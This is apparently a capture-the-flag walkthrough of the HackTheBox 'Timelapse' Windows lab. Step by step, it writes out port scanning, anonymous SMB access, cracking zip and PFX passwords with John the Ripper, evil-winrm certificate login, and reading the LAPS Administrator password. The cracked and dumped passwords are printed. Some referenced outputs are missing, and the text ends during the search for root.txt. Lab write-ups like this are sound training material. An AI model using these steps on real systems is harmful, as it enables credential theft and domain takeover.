First, let's scan for open ports using nmap. We can quickly scan for open ports and store them in a variable: ports=$(nmap -p- --min-rate=1000 -T4 -Pn 10.10.11.152 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//). Then, we can scan those specific ports in depth by running nmap's built-in scripts: nmap -p$ports -sC -sV -Pn 10.10.11.152. We need to specify -Pn to disable host discovery so nmap doesn't think the machine is down.
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-07-25 00:55:16Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
| ssl-cert: Subject: commonName=dc01.timelapse.htb
| Not valid before: 2021-10-25T14:05:29
|_Not valid after: 2022-10-25T14:25:29
| tls-alpn:
|_ http/1.1
|_ssl-date: 2022-07-25T00:56:46+00:00; +8h00m02s from scanner time.
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49673/tcp open msrpc Microsoft Windows RPC
49674/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49696/tcp open msrpc Microsoft Windows RPC
58355/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2022-07-25T00:56:08
|_ start_date: N/A
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
|_clock-skew: mean: 8h00m01s, deviation: 0s, median: 8h00m01s
Let's see if there are any shares we can list without an account by running smbclient --no-pass -L //10.10.11.152:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
Shares Disk
SYSVOL Disk Logon server share
There is a Shares share so let's try listing files without specifying login details by running smbclient --no-pass //10.10.11.152/Shares:
smb: \> ls
. D 0 Mon Oct 25 11:39:15 2021
.. D 0 Mon Oct 25 11:39:15 2021
Dev D 0 Mon Oct 25 15:40:06 2021
HelpDesk D 0 Mon Oct 25 11:48:42 2021
6367231 blocks of size 4096. 2316373 blocks available
smb: \> cd Dev
smb: \Dev\> ls
. D 0 Mon Oct 25 15:40:06 2021
.. D 0 Mon Oct 25 15:40:06 2021
winrm_backup.zip A 2611 Mon Oct 25 11:46:42 2021
6367231 blocks of size 4096. 2316373 blocks available
smb: \Dev\> cd ../HelpDesk\
smb: \HelpDesk\> ls
. D 0 Mon Oct 25 11:48:42 2021
.. D 0 Mon Oct 25 11:48:42 2021
LAPS.x64.msi A 1118208 Mon Oct 25 10:57:50 2021
LAPS_Datasheet.docx A 104422 Mon Oct 25 10:57:46 2021
LAPS_OperationsGuide.docx A 641378 Mon Oct 25 10:57:40 2021
LAPS_TechnicalSpecification.docx A 72683 Mon Oct 25 10:57:44 2021
6367231 blocks of size 4096. 2316373 blocks available
We can download these files in many ways, but we mount the share to make it easy: mkdir share && sudo mount -t cifs //10.10.11.152/Shares ./share. Just hit enter when asked for a password. Copy the files and then run sudo umount share to dismount the SMB share.
Foothold
ZIP File Bruteforcing
Let's try unzipping the winrm_backup.zip in the Dev directory with unzip winrm_backup.zip:
It is password protected. We can bruteforce crack the password using John the Ripper. Run zip2john winrm_backup.zip > hash.txt to create a hash file of the password protected zip file. Then, run john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt to crack the hash:
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
supremelegacy (winrm_backup.zip/legacyy_dev_auth.pfx)
1g 0:00:00:00 DONE (2022-07-24 13:34) 2.222g/s 7718Kp/s 7718Kc/s 7718KC/s surkerior..superkebab
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
The password is supremelegacy. We can now run unzip winrm_backup.zip and enter the password to extract legacyy_dev_auth.pfx. Let's see what file this is by running file legacyy_dev_auth.pfx
legacyy_dev_auth.pfx: data
PFX File Bruteforcing
Searching for "pfx file wikipedia" reveals that this is a PKCS 12 file. According to Wikipedia, "In cryptography, PKCS #12 defines an archive file format for storing many cryptography objects as a single file. It is commonly used to bundle a private key with its X.509 certificate or to bundle all the members of a chain of trust."
We can run openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out key.pem -nodes to export the private key, but it asks for an "import password." We can try to bruteforce this with john as well by running pfx2john legacyy_dev_auth.pfx > hash2.txt and then john --wordlist=/usr/share/wordlists/rockyou.txt hash2.txt:
Using default input encoding: UTF-8
Loaded 1 password hash (pfx, (.pfx, .p12) [PKCS#12 PBE (SHA1/SHA2) 256/256 AVX2 8x])
Cost 1 (iteration count) is 2000 for all loaded hashes
Cost 2 (mac-type [1:SHA1 224:SHA224 256:SHA256 384:SHA384 512:SHA512]) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
thuglegacy (legacyy_dev_auth.pfx)
1g 0:00:00:26 DONE (2022-07-24 13:45) 0.03835g/s 123964p/s 123964c/s 123964C/s thuglife06..thsco04
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
This shows the password is thuglegacy.
Now, let's rerun openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out key.pem -nodes to export the private key and use the now known password. Then, run openssl pkcs12 -in legacyy_dev_auth.pfx -nokeys -out cert.pem to export the certificate using the same password.
Remove the lines before -----BEGIN PRIVATE KEY----- in each of the files to get the key and certificate by themselves.
Evil WinRM
According to HackTricks and the Evil WinRM documentation, we can use evil-winrm like so: evil-winrm -S -k <key> -c <certificate> -i <IP> and authenticate via SSL. Let's connect by running evil-winrm -S -k key.pem -c cert.pem -i 10.10.11.152.
We get a shell on the machine! Now, we can get the user.txt flag with cat ..\Desktop\user.txt.
Lateral Movement
Let's upload WinPEAS to scan for ways to gain privileges. Since we are using evil-winrm we can simply run the upload command: upload /home/kali/Downloads/winPEASx64.exe. We can run it with .\winPEASx64.exe:
Program 'winPEASx64.exe' failed to run: Operation did not complete successfully because the file contains a virus or potentially unwanted softwareAt line:1 char:1
+ .\winPEASx64.exe
+ ~~~~~~~~~~~~~~~~.
At line:1 char:1
+ .\winPEASx64.exe
+ ~~~~~~~~~~~~~~~~
+ CategoryInfo : ResourceUnavailable: (:) [], ApplicationFailedException
+ FullyQualifiedErrorId : NativeCommandFailed
Windows is detecting it as a virus. We could try to bypass the AV but that seems like a lot of work. We could also try the bat version of winPEAS.
After digging around for a while following the Windows Local Privilege Escalation page on HackTricks, we found that there is a PowerShell history file. You can view the contents with type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt:
invoke-command is used to run "commands on local and remote computers" according to the PowerShell documentation. So, we are provided with a command to run commands as the svc_deploy user.
We check which users are on the machine:
*Evil-WinRM* PS C:\Users\legacyy\Documents> cd C:\Users\
*Evil-WinRM* PS C:\Users> ls
Directory: C:\Users
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 10/23/2021 11:27 AM Administrator
d----- 10/25/2021 8:22 AM legacyy
d-r--- 10/23/2021 11:27 AM Public
d----- 10/25/2021 12:23 PM svc_deploy
d----- 2/23/2022 5:45 PM TRX
Sure enough there is a svc_deploy user.
Let's rerun these commands to make sure they work:
The above commands output timelapse\svc_deploy. So, we can execute commands as the svc_deploy user.
Privilege Escalation
We can see what groups svc_deploy belongs to by running net user svc_deploy with invoke-command -computername localhost -credential $c -port 5986 -usessl -SessionOption $so -scriptblock {net user svc_deploy}:
User name svc_deploy
Full Name svc_deploy
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 10/25/2021 12:12:37 PM
Password expires Never
Password changeable 10/26/2021 12:12:37 PM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 7/24/2022 7:40:40 PM
Logon hours allowed All
Local Group Memberships *Remote Management Use
Global Group memberships *LAPS_Readers *Domain Users
It is part of the LAPS_Readers group.
According to HackTricks, "LAPS allows you to manage the local Administrator password (which is randomised, unique, and changed regularly) on domain-joined computers. These passwords are centrally stored in Active Directory and restricted to authorised users using ACLs. Passwords are protected in transit from the client to the server using Kerberos v5 and AES."
So, we can view the local Administrator password because we are part of the LAPS_Readers group. Searching for "view laps password powershell" finds this article from which I determined that running Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime will print the password.
So, run invoke-command -computername localhost -credential $c -port 5986 -usessl -SessionOption $so -scriptblock {Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime}:
The password for local Administrator DC01 is 02j(2Mj4(T2$Ic,cGFs{j/4%.
So, let's use evil-winrm to connect as that user. From the attacker machine, run evil-winrm -S -u 'Administrator' -p '02j(2Mj4(T2$Ic,cGFs{j/4%' -i 10.10.11.152.
The root.txt flag is not in the usual spot at C:\Users\Administrator\Desktop\root.txt. We can try to find it by navigating to C:\Users and then running gci -recurse -filter "root.txt" (command from this StackOverflow answer):